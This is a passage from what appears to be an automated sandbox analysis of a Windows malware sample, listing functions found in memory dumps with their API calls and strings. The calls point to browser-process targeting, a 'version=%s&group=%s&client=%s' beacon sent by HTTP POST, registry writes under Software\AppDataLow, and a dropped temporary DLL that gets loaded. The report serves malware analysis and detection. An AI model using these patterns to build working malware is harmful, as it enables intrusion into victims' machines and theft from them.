.exe, xrefs: 0225A592

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225E859, Relevance: 16.9, APIs: 11, Instructions: 249

APIs

Part of subcall function 02252BC7: memset.NTDLL(02287DF0,00000000), ref: 02252BE7

Part of subcall function 02252C41: memset.NTDLL(?,00000000), ref: 02252D55
Part of subcall function 02252C41: memset.NTDLL(?,00000000), ref: 02252D62

Part of subcall function 022527A4: memset.NTDLL(00000011,00000000), ref: 022527B0

Part of subcall function 02252BF4: memset.NTDLL(?,00000000), ref: 02252C34

Part of subcall function 02252B29: memset.NTDLL(?,00000000), ref: 02252BB7

memset.NTDLL(?,00000000), ref: 0225EA97
memset.NTDLL(?,00000000), ref: 0225EAA5
memset.NTDLL(?,00000000), ref: 0225EAB3
memset.NTDLL(?,00000000), ref: 0225EAC1
memset.NTDLL(?,00000000), ref: 0225EACF
memset.NTDLL(?,00000000), ref: 0225EADD
memset.NTDLL(?,00000000), ref: 0225EAEB
memset.NTDLL(?,00000000), ref: 0225EAF9
memset.NTDLL(?,00000000), ref: 0225EB07
memset.NTDLL(?,00000000), ref: 0225EB15
memset.NTDLL(?,00000000), ref: 0225EB20

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022939B0, Relevance: 16.0, APIs: 9, Instructions: 71

APIs

free.MSVCRT ref: 022939CD
deflateEnd.ZLIB1(?,?,00000000,02293636), ref: 022939E1
inflateEnd.ZLIB1(?,?,00000000,02293636), ref: 022939ED
fclose.MSVCRT ref: 022939FF
_errno.MSVCRT ref: 02293A0C
free.MSVCRT ref: 02293A2B
free.MSVCRT ref: 02293A38
free.MSVCRT ref: 02293A45
free.MSVCRT ref: 02293A4B

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 0225A8AF, Relevance: 15.1, APIs: 10, Instructions: 84

APIs

OpenFileMappingW.KERNEL32(00000006,00000000,033B27F8), ref: 0225A8C9
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00100000), ref: 0225A8E7
OpenEventW.KERNEL32(001F0003,00000000,033B27A8), ref: 0225A912
OpenEventW.KERNEL32(001F0003,00000000,033B2758), ref: 0225A928
WaitForSingleObject.KERNEL32(?,00000BB8), ref: 0225A937
SetEvent.KERNEL32(?), ref: 0225A96A
CloseHandle.KERNEL32(00000000), ref: 0225A97E
CloseHandle.KERNEL32(?), ref: 0225A987
UnmapViewOfFile.KERNEL32(?), ref: 0225A990
CloseHandle.KERNEL32(00000000), ref: 0225A99B

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A26C, Relevance: 14.3, APIs: 8, Instructions: 76

APIs

GetCurrentProcessId.KERNEL32 ref: 0225A27E
OpenProcess.KERNEL32(00000400,00000000), ref: 0225A28B
OpenProcessToken.ADVAPI32(?,00000008,?), ref: 0225A2A3
GetTokenInformation.ADVAPI32(00000001,00000001,00000000,00000000), ref: 0225A2C1
GetLastError.KERNEL32(?,?,00000008,?,?,?,00000001), ref: 0225A2C7

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

GetTokenInformation.ADVAPI32(00000001,00000001,?,?), ref: 0225A2EA
CloseHandle.KERNEL32(00000001), ref: 0225A31C
CloseHandle.KERNEL32(?), ref: 0225A325

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225449C, Relevance: 12.5, APIs: 7, Instructions: 37

APIs

InterlockedExchange.KERNEL32(?,?,00000000), ref: 022544B0
SetEvent.KERNEL32 ref: 022544C2
WaitForSingleObject.KERNEL32(?,000000FF), ref: 022544CC
CloseHandle.KERNEL32 ref: 022544D4
CloseHandle.KERNEL32 ref: 022544E1
CloseHandle.KERNEL32 ref: 022544E9
DeleteCriticalSection.KERNEL32(?,?,0225506B), ref: 022544F4

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225494A, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 186

APIs

Part of subcall function 022546E2: lstrcpyW.KERNEL32 ref: 0225470F
Part of subcall function 022546E2: lstrlenW.KERNEL32 ref: 0225471E
Part of subcall function 022546E2: lstrcatW.KERNEL32(?,zlib1.dll), ref: 02254758
Part of subcall function 022546E2: lstrcpyW.KERNEL32 ref: 02254790
Part of subcall function 022546E2: lstrlenW.KERNEL32 ref: 02254799
Part of subcall function 022546E2: lstrcatW.KERNEL32(?,aplib.dll), ref: 022547CF
Part of subcall function 022546E2: CreateMutexW.KERNEL32(02287CB8,00000000,033B29D8), ref: 022548F5
Part of subcall function 022546E2: CreateMutexW.KERNEL32(02287CB8,00000000,033B2988), ref: 0225491C
Part of subcall function 022546E2: CreateEventW.KERNEL32(02287CB8,00000001,00000000,033B2938), ref: 02254934

GetSystemTimeAsFileTime.KERNEL32 ref: 02254A4D
EnterCriticalSection.KERNEL32 ref: 02254A5C
LeaveCriticalSection.KERNEL32 ref: 02254AB6

Part of subcall function 0225A13F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0225A14D
Part of subcall function 0225A13F: GetCurrentProcessId.KERNEL32 ref: 0225A15F
Part of subcall function 0225A13F: Process32FirstW.KERNEL32 ref: 0225A179
Part of subcall function 0225A13F: lstrcmpiW.KERNEL32(?,explorer.exe), ref: 0225A19E
Part of subcall function 0225A13F: lstrcmpiW.KERNEL32(?,iexplore.exe), ref: 0225A1B0
Part of subcall function 0225A13F: lstrcmpiW.KERNEL32(?,chrome.exe), ref: 0225A1C2
Part of subcall function 0225A13F: lstrcmpiW.KERNEL32(?,firefox.exe), ref: 0225A1D4
Part of subcall function 0225A13F: Process32NextW.KERNEL32(?,?), ref: 0225A1F0
Part of subcall function 0225A13F: CloseHandle.KERNEL32 ref: 0225A1FC

Part of subcall function 0225A3C4: EnterCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 0225A3DC
Part of subcall function 0225A3C4: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 0225A446

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

WaitForMultipleObjects.KERNEL32(000927C0,000927C0,00000000,000927C0), ref: 02254B68

Part of subcall function 022545A6: CloseHandle.KERNEL32 ref: 022545C9
Part of subcall function 022545A6: CloseHandle.KERNEL32 ref: 022545EA
Part of subcall function 022545A6: CloseHandle.KERNEL32 ref: 02254698

InterlockedCompareExchange.KERNEL32(?,00000000,?), ref: 02254B90
FreeLibraryAndExitThread.KERNEL32(00000000), ref: 02254B9D

Strings

d, xrefs: 02254ACF

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225B148, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133

APIs

InternetQueryOptionW.WININET(?,00000022,00000000), ref: 0225B168

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

InternetQueryOptionW.WININET(?,00000022), ref: 0225B199
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0225B1C0
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,?,00000000,00000000), ref: 0225B1DA

Part of subcall function 02253B2E: wsprintfA.USER32(?,%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x,?,?,?,?,?,?,?,?), ref: 02253BA9
Part of subcall function 02253B2E: wsprintfA.USER32(?,version=%s&group=%s&client=%s,0225FEA8,0227,?,?,?,?,?,?,?), ref: 02253BC5

HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 0225B20D
lstrcmpiA.KERNEL32(?,POST,?,?,00000000,?,?,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0225B21F

Strings

POST, xrefs: 0225B213

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A62F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60

APIs

GetTempPathW.KERNEL32(00000104), ref: 0225A645
GetTempFileNameW.KERNEL32(?,0225F7AC,00000000), ref: 0225A660
lstrcatW.KERNEL32(?,.dll), ref: 0225A6AA

Part of subcall function 02251F7B: DeleteFileW.KERNEL32(?), ref: 02251F84
Part of subcall function 02251F7B: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 02251F9E
Part of subcall function 02251F7B: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02251FC1
Part of subcall function 02251F7B: CloseHandle.KERNEL32 ref: 02251FD1

LoadLibraryW.KERNEL32 ref: 0225A6CD
GetProcAddress.KERNEL32(?,?), ref: 0225A6DD
FreeLibrary.KERNEL32 ref: 0225A6EA

Strings

.dll, xrefs: 0225A6A4

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022522F0, Relevance: 11.8, APIs: 5, Instructions: 86

APIs

lstrlenA.KERNEL32(?), ref: 02252306
lstrlenA.KERNEL32(?), ref: 0225230E
HeapAlloc.KERNEL32(00150000,00000000), ref: 0225233E
memcpy.NTDLL(00010842,?), ref: 02252354
CharLowerA.USER32(00010842), ref: 02252361

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022521F0, Relevance: 11.6, APIs: 5, Instructions: 100

APIs

lstrlenW.KERNEL32(?), ref: 02252205
lstrlenW.KERNEL32(?), ref: 0225220D
HeapAlloc.KERNEL32(00150000,00000000), ref: 0225224D
memcpy.NTDLL(000107F6,?), ref: 02252267
CharLowerW.USER32(000107F6), ref: 02252276

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02293A60, Relevance: 11.3, APIs: 6, Instructions: 252

APIs

_errno.MSVCRT ref: 02293B1D
fread.MSVCRT ref: 02293B34
inflate.ZLIB1(?,00000000), ref: 02293B77

Part of subcall function 022957A0: crc32.ZLIB1(?,?,?), ref: 02295C23
Part of subcall function 022957A0: crc32.ZLIB1(?,?,?), ref: 02296A9D
Part of subcall function 022957A0: adler32.ZLIB1(?,?,?), ref: 02296AA8
Part of subcall function 022957A0: adler32.ZLIB1(?,?,?,77C1F2BC), ref: 02296C88

Part of subcall function 02293850: _errno.MSVCRT ref: 02293869
Part of subcall function 02293850: fread.MSVCRT ref: 0229388B

inflateReset.ZLIB1(?), ref: 02293BDD
crc32.ZLIB1(?,?), ref: 02293C21
fread.MSVCRT ref: 02293CB2

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 02251943, Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 115

APIs

Part of subcall function 0225DBF8: _strcmpi.NTDLL ref: 0225DC19

_strcmpi.NTDLL ref: 022519A9

Part of subcall function 022514B1: memcpy.NTDLL(?,?), ref: 022514F4
Part of subcall function 022514B1: memcpy.NTDLL(?,?), ref: 02251516

_strcmpi.NTDLL ref: 02251A18

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Strings

Transfer-Encoding, xrefs: 02251978
Content-Length, xrefs: 022519B1
identity, xrefs: 02251994, 022519A1
chunked, xrefs: 02251A10

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022940E0, Relevance: 10.8, APIs: 6, Instructions: 151

APIs

malloc.MSVCRT ref: 02294139
gzwrite.ZLIB1(?,?,00004000), ref: 02294171

Part of subcall function 02293DF0: fwrite.MSVCRT ref: 02293E3E
Part of subcall function 02293DF0: deflate.ZLIB1(?,00000000), ref: 02293E66

fseek.MSVCRT ref: 022941C1
gzrewind.ZLIB1(?), ref: 022941E5

Part of subcall function 02294280: inflateReset.ZLIB1(?,?,?,022941EA,?), ref: 022942B0
Part of subcall function 02294280: fseek.MSVCRT ref: 022942C7

malloc.MSVCRT ref: 02294201
gzread.ZLIB1(?,?,00004000), ref: 02294251

Part of subcall function 02293A60: _errno.MSVCRT ref: 02293B1D
Part of subcall function 02293A60: fread.MSVCRT ref: 02293B34
Part of subcall function 02293A60: inflate.ZLIB1(?,00000000), ref: 02293B77
Part of subcall function 02293A60: inflateReset.ZLIB1(?), ref: 02293BDD
Part of subcall function 02293A60: crc32.ZLIB1(?,?), ref: 02293C21
Part of subcall function 02293A60: fread.MSVCRT ref: 02293CB2

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 022521B0, Relevance: 10.8, APIs: 1, Instructions: 6

APIs

HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225CCF1, Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 182

APIs

GetLastError.KERNEL32 ref: 0225CD11
EnterCriticalSection.KERNEL32 ref: 0225CD20

Part of subcall function 0225C6D9: CreateStreamOnHGlobal.OLE32(?,00000001,?), ref: 0225C703

Part of subcall function 02251943: _strcmpi.NTDLL ref: 022519A9
Part of subcall function 02251943: _strcmpi.NTDLL ref: 02251A18

SetLastError.KERNEL32(?), ref: 0225CEEC

Part of subcall function 0225DBF8: _strcmpi.NTDLL ref: 0225DC19

lstrlenA.KERNEL32(0225F3EF), ref: 0225CE1E
lstrlenA.KERNEL32(?), ref: 0225CE25

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Part of subcall function 02253B2E: wsprintfA.USER32(?,%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x,?,?,?,?,?,?,?,?), ref: 02253BA9
Part of subcall function 02253B2E: wsprintfA.USER32(?,version=%s&group=%s&client=%s,0225FEA8,0227,?,?,?,?,?,?,?), ref: 02253BC5

LeaveCriticalSection.KERNEL32 ref: 0225CEE3

Strings

Host, xrefs: 0225CDEE

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022943F0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120

APIs

_errno.MSVCRT ref: 02294424
strerror.MSVCRT ref: 0229442D
free.MSVCRT ref: 0229445E
malloc.MSVCRT ref: 0229448F

Strings

stream error, xrefs: 02294403
insufficient memory, xrefs: 022944A1

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 02259A6F, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83

APIs

EnterCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 02259A87

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

LeaveCriticalSection.KERNEL32(00000000,?,00000000,00000000,00000000,00020006,00000000,?,00000000,033B2A28,Software\AppDataLow\,7FFFFFFE,?,?,00000000), ref: 02259B52

Part of subcall function 02259630: lstrlenW.KERNEL32 ref: 0225964C

RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 02259B1C
RegSetValueExW.ADVAPI32(?,0225FA60,00000000,00000003,00000004,00000000), ref: 02259B37
RegCloseKey.ADVAPI32(?), ref: 02259B4B

Strings

Software\AppDataLow\, xrefs: 02259ADD

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225B57E, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82

APIs

EnterCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 0225B595

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Part of subcall function 0225B7ED: lstrlenW.KERNEL32 ref: 0225B80D

RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 0225B62A
RegSetValueExW.ADVAPI32(00000000,0225F818,00000000,00000003,?,00000000), ref: 0225B643
RegCloseKey.ADVAPI32(00000000), ref: 0225B657
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,00000000), ref: 0225B65E

Strings

Software\AppDataLow\, xrefs: 0225B5E5

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
